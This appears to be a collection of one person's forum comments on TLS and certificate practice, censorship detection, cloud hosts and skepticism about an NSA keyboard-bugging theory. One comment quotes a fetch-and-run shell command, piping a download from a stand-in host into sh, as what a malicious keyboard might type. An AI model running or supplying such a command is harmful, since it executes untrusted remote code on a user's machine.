rwg

• Take Google's list of mail domains they see (they offer a CSV file for download) and look up all of the mail exchangers for all of the domains.

• Remove duplicates from the list of MX hostnames.

• Write a short program that does the following for each of those mail exchangers:

- Connect to tcp/25, send a valid EHLO, and see if the server indicates that it supports STARTTLS.

- If it doesn't, disconnect and move on to the next hostname.

- Send STARTTLS and start a TLS session. Put a NULL cipher at the top of your client's ciphersuite list to see if anyone bites. Record the certificate chain the server sends.

- See if the leaf certificate is valid and if you can make it actually chain up to a trusted CA via the server's certificate chain.

- Disconnect.

You now have a list of some of the largest mail exchangers on the Internet, whether or not each one supports STARTTLS, and whether or not each one supplies a (valid) certificate that actually chains up to a CA anyone trusts. Write a blog post containing pretty graphs for these statistics. Poke fun at the most egregiously broken TLS configurations, certificates, and certificate chains you see. Idly wonder if the proliferation of (sometimes completely broken) opportunistic TLS with SMTP and the relative scarcity of authenticated TLS with SMTP will push passive attackers into becoming active attackers so they can continue to easily grab messages in-flight. Bemoan the broken CA system. Drink heavily. Dream.

I ended up making a /rr tree ("rwg's root"), building things I care about from scratch, and using GNU stow to manage it.

If you find your nearest copy of the OpenSSL command-line tool and run "openssl ciphers -v ALL", you'll get a list of all of the cipher suites that your particular OpenSSL build supports. For example:

    % openssl ciphers -v
    ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
    ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AESGCM(256) Mac=AEAD
    ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA384
    ECDHE-ECDSA-AES256-SHA384 TLSv1.2 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA384
    [...]

Virtually all X.509 certificates issued by certificate authorities today for use with SSL/TLS are for use with cipher suites that use RSA authentication. You generate an RSA key pair, stuff your public key in a certificate signing request, staple some money to the CSR, and hand it to the CA. The CA takes your money, verifies that you are in control of the hostname(s) you want a certificate for, creates a certificate containing your public key (and other X.509 goop), signs the certificate with their private key, and hands the certificate to you. For better or worse, this isn't changing.

What is being proposed is the removal of cipher suites that use RSA for key exchange ("openssl ciphers -v kRSA") from TLS 1.3. There are many other cipher suites that use RSA for authentication but use other methods for key exchange ("openssl ciphers -v aRSA:\!kRSA"), and some of these other key exchange methods have the rather nice property of perfect forward secrecy.

(Note that OpenSSL's list of ciphers isn't exhaustive, especially if you're using the lame OpenSSL build that Apple ships. But even if you're using an up-to-date OpenSSL build, the various SSL and TLS RFCs specify so many cipher suites that even OpenSSL doesn't support them all.)

If your CA wants you to buy a new certificate to recover from a key compromise, your CA is taking you for a ride, and you should find a less horrible CA to throw your money at.

EDIT: I just noticed your guesses at the bottom of the post. Your second guess is correct. See §14.4 of RFC 2616:

As an example, users might assume that on selecting "en-gb", they will be served any kind of English document if British English is not available. A user agent might suggest in such a case to add "en" to get the best matching behavior.

    % ps aux|grep ocspd
    root              534   0.0  0.0  2442712   2036   ??  Ss    3:53PM   0:00.04 /usr/sbin/ocspd

    % grep -A3 ProgramArguments /System/Library/LaunchDaemons/com.apple.ocspd.plist
            <key>ProgramArguments</key>
            <array>
                    <string>/usr/sbin/ocspd</string>
            </array>

I'll bet it was ocspd they exploited. The CRL handling code in libsecurity is awful, and ocspd runs as root without a sandbox profile.

• an "npm Certificate Authority" X.509v1 certificate valid from 2011-09-05 (an X.509v1 cert in 2011? srsly?)

• two of GlobalSign's Root CA certificates

• a GlobalSign subordinate CA certificate

What I'm guessing happened is that the certificate https://registry.npmjs.org used a long time ago was signed by that "npm Certificate Authority" certificate. Then they switched to a signed-by-GlobalSign certificate. Then, two days ago, they switched to an EV certificate from DigiCert, and that's when all hell broke loose for people not using the latest version of npm because not-latest versions of npm would only trust certificates that chained up to GlobalSign's Root CAs or the "npm Certificate Authority."

If I'm right about what happened, then the brunt of this kerfuffle might've been avoided by making ca="" the default in npm releases as soon as the GlobalSign-signed certificate hit production and everyone was happy that it was working. Hindsight is 20/20 like that, though.

Wasn't Intel first by virtue of using their in-house "HD Graphics" hardware in Silvermont (Bay Trail-M and -T)? Regardless, this is a huge thing in the ARM world, and I hope other vendors will begin to open up documentation.

The certificate for this website is invalid. You might be connecting to a website that is pretending to be "blog.easydns.org", which could put your confidential information at risk. Would you like to connect to the website anyway?

http://www.techdirt.com/articles/20131208/00164525497/witnes...

BizSpark giving away three years of $150/mo Azure credit is shady, but Amazon giving away one year of the free tier is not shady?

That's what Bizspark effectively does, gives you free Visual Studio, other MS software, so when you are profitable, you pay them through the nose, because you are locked into proprietary anti-open-source bait.

You don't have to use the software licenses to make use of the Azure credits in BizSpark, and Azure will run any Linux distro containing a kernel with Hyper-V support.

Instead you went with a shitty competitor and we're supposed to applaud that?

What's so shitty about Azure again?

Sorry, Azure is still garbage

Why?

and AWS is one of the most advanced and performant cloud platforms available.

Unfortunately, staying in AWS's free tier means never seeing any of that performance.

If you can find or make a list of websites you want to scan, you can script it. The biggest problem is doing it in a way that doesn't bring you to the attention of those doing the blocking.

1. Where can I find a list of all domain names, top 1000, top 100000?

Alexa's "top 1,000,000" list (~10.2 MB download) is at http://s3.amazonaws.com/alexa-static/top-1m.csv.zip

2. Is it possible to conclusively determine censorship from headers only or do I have to load the whole page and compare HTML code with a sample? Bandwidth is very expensive here.

It depends on the method used to block you from visiting a website.

If DNS-based blocking is used, you can use very small DNS lookups to identify whether or not a website is blocked — all of the hostnames of blocked websites will probably resolve to the same IP address. (You can check this with "nslookup www.website.com" in Windows or "host www.website.com" on Linux, OS X, etc.) If this method works, it's probably the best way — DNS requests are less likely to be logged than HTTP requests, and DNS requests and responses are small.

If the blocking uses a transparent proxy instead of forged DNS records, you could use HTTP HEAD requests and match against the "Server" header in the reply:

    Server: Apache/2.2.12 (Unix) mod_ssl/2.2.12 OpenSSL/0.9.7d mod_wsgi/3.2 mod_perl/1.29 PHP/4.4.1

• All data is uploaded anonymously, so I can't download or save the raw data I've collected. This means I can't look at it except aggregated together with other users' data and fuzzed on a map Mozilla provides, I can't play with it, I can't upload it to other similar projects, etc.

• In fact, nobody can download a dump of the data because of privacy concerns for data contributors and access point operators. At best, you can consume a derivative of the data by using the location API.

• In an attempt to protect the privacy of data contributors, Mozilla "fuzzes" acquired data before displaying it on their map. Unfortunately, they've fuzzed the data to the point that I can't tell which streets I've already been on and which I haven't. (Half of the fun of this was seeing things on streets I'd never been on before.)

It's mildly tempting to fork MozStumbler and have it also upload the data I collect to a server I control, just so I have a copy of my data. (In particular, it might be fun to throw together some code for algorithmically locating cell sites and access points, just to see how well I can make it work.)

I was dismissing the linked blog post as much as the suggestion of NSA involvement. The blog post took a single tweet with a single screenshot, screwed up half the facts ("tracking details for a computer Shepard ordered" — uh, no, it was a used laptop keyboard), sensationalized the other half ("it moved another four times around the military and industrial belt" — uh, no, it moved from IAD to Alexandria), and tacked a pile of rhetorical questions and conjecture on the end.

I somehow expected better from an ACLU chapter.

An autonomously malicious PS/2 keyboard, on the other hand, is on the end of a slow (~12 kbit/s) serial interface. It can only simulate keypresses and receive updates about the keyboard LEDs' statuses. It doesn't know the current state of the system. It's as likely to type "curl http://innocent-looking.org/logo.jpg|sh" in a text editor as it is at a command prompt, so it can't type anything autonomously without running the (huge) risk of alerting its owner to its presence.

Edit: The "Reversing and exploiting an Apple firmware update" paper linked below talks about persisting a rootkit on a computer by using Spotlight to open Terminal, then typing a command to download and execute a payload. That runs the same risk of alerting the user to its presence, and it will completely fail if the user has remapped Cmd-Space to something else.

If a hypothetical modified keyboard is logging keystrokes, someone has to eventually retrieve it to get the logged data. If it's transmitting keystrokes via radio, someone has to be nearby to capture them and then steal the laptop to get at its (presumably encrypted) data.

A few comments:

• This "low-level operative" was a system administrator who used social engineering to obtain other people's authentication credentials and gain access to material to which he wasn't authorized. He wasn't the janitor or some clueless field agent.

• Did Snowden expose operational shortcomings? Absolutely. A lot of the programs that have been publicly revealed through his leaks have been running for over a decade without ever seeing the light of day, though. That tells me these "pervasive operational shortcomings" aren't very pervasive. (If they were, the NSA would be absolute shit at their mission.)

• I don't think Andrea is a "high value target," or at least high value enough to risk compromising whatever method they might use to bug her keyboard. I don't say this to belittle her or her work in any way — she seems to be a skilled programmer/hacker/infosec person. And that's exactly why this whole "the NSA is bugging her keyboard" theory doesn't make any sense.

Let's assume for the sake of argument that the NSA had planned to bug her keyboard, and that keyboard is now sitting in an NSA (or contractor) facility in/near Alexandria, Virginia, waiting for some modification to be made before shipping it back out. But, oops, they screwed up and forgot to fake the USPS tracking information. They know she knows because she tweeted about it. She's also tweeted that she can never trust the keyboard if/when it shows up. Why would they ship her a bugged keyboard at this point? If/when the keyboard shows up, she's probably going to take it apart and share anything interesting she finds with the world. There will be hard evidence.

Even if they hadn't bungled the tracking information in our hypothetical argument, they're risking exposure of the exact methods they use to bug a machine for not much potential gain. (Remember, Andrea's a skilled hacker/programmer. There's a very good chance she'll figure out what's going on and tell the world if she has any inkling that her laptop's been tampered with.)

• The keyboard she ordered fits a ThinkPad T60/T61/T400/T500 (and the equivalent "R" models, plus a few others). Internally, the keyboard and TrackPoint speak PS/2. While they could log keystrokes to an on-board chip and transmit keystrokes via radio, there aren't any especially interesting things the NSA can do to her laptop via a modified keyboard. They certainly won't be rooting it that way.

• I said that I don't think Andrea is a "high value target," despite her work on Tor, because everything about Tor is open. Anyone can download the code and see exactly how it works. The protocol is well-known. There's no curtain to peek behind and gain strategic information about Tor's workings.

So while I don't reject the argument that the NSA is trying to bug her laptop as impossible, I think it's exceedingly improbable. My money's still on "seller screwed up the tracking number."

I also like the part where the NSA is guarded by the Catch-22 "it wasn't them, because if it was, you'd never know", such that that there's no scenario in which you could be convinced that the NSA did anything.

The flip side of this argument, which everyone here seems to be clutching onto and running with, is that if the NSA is capable of it, they're doing it at every available opportunity, even when it doesn't make any sense to.

Of note, when searching Amazon for "NEW and ORIGINAL IBM Lenovo Thinkpad Keyboard 42T3209 42T3177", I find one seller ("u fix it", who "Ships from TN") selling that item. Assuming that's the seller Andrea bought the keyboard from, that clearly doesn't jive with the tracking information, which shows the item shipping from California.

[wild audience applause]

THAT'S RIGHT, it's time for WHICH IS MORE LIKELY?!

[intro music]

Today on Which is More Likely?, we're looking at a replacement Lenovo Thinkpad keyboard that was shipped to Alexandria, Virginia, instead of Seattle, Washington. What a blunder! [slide whistle sound effect]

Now put your thinking caps on and ponder, WHICH IS MORE LIKELY?!

• The largest intelligence agency on the planet, recently outed by Snowden's leaked documents for operating a multi-decade worldwide dragnet that secretly gathered communications on hundreds of millions of people, was too incompetent to have the US Postal Service display tracking information that hides the fact they're modifying a laptop keyboard in order to somehow spy on a Tor developer.

ORRRRRRRRRR!

• The third-party seller who uses Amazon to accept orders screwed up and gave Amazon the wrong tracking number.

That's all we have time for on today's episode of Which is More Likely? Don't change the channel! Up next is a BRAND NEW episode of Godwin's Law and Order! Good night from Hollywood!

[outro music]

Stallman wants you to use Free software because it's free-as-in-ideology, not because it necessarily works well or does what you want.

The Windows drivers for both NVIDIA and AMD GPUs have an option that makes the graphics card scale non-native screen resolutions up to the monitor's native resolution using the graphics card's scaling hardware (instead of the monitor's, if the monitor has any). It should be possible to run games at a non-native (lower) resolution and have the GPU scale the image up to native resolution (so it fills the screen) without a noticeable performance hit.

Also, large monitors have used tiled panels internally for a long time, it's just that the recent batches of 4k monitors are the first "mass market" monitors to expose the individual tiles directly to the computer's graphics hardware instead of using a scaler in the monitor to present the tiles to the computer's graphics hardware as what looks like a single monitor.

You can see the two tiles (1280x1600 each) in my Dell 3008WFP when the monitor's scaler manages to get the scanline ordering wrong on one of the tiles, like on this composite signal from an NES:

https://pbs.twimg.com/media/A-OmoN1CYAAZT7x.jpg:large

Devices that speak SNMP and use "public" for their community could be used in an amplification attack. I don't know what the amplification factor would be, though, and I imagine there are loads more Internet-facing DNS and NTP servers than Internet-facing SNMP agents configured with a "public" community...

• Complaints about DO shutting down instances and locking accounts until people FAX'd in a copy of their driver's license, passport, etc. (If a user isn't breaking the law or violating the ToS, why does DO need identification? If a user is breaking the law or violating the ToS, then terminate their account!)

• Having to stop accepting signups in their Amsterdam location for a while because they ran out of IPv4 space but didn't support IPv6. (A message from August 2012 says, "we hope to have something in the works by Q4 2012 or Q1 2013." As far as I can tell, they still don't support IPv6 in any of their locations.)

• Not supporting the booting of custom kernels. (They've been stalling on this at least as long as IPv6 support.)

• Botching their Ubuntu image and having everyone's Ubuntu droplets sharing the same ssh host keys unless the user explicitly generated new ones. (Probably an honest mistake, but that's sloppy, especially considering they're effectively forcing users to use their distro images.)

The recent kerfluffle about not always wiping data after a user's disk image is destroyed would've also been a gigantic red flag (that had been doused in kerosene and lit on fire before being run up the flagpole) if it had happened a few months earlier.

To be fair, Linode's security/privacy record is far from spotless — they've been super evasive about breaches, and their handling of a data leak bug/vuln I reported didn't leave me with a super-awesome feeling — but my gut feeling is that Linode sucks just enough less to justify the US$15/month extra. That could easily change, though, but I imagine it would turn into "both suck, screw it, I'll suffer with an EC2 t1.micro instance."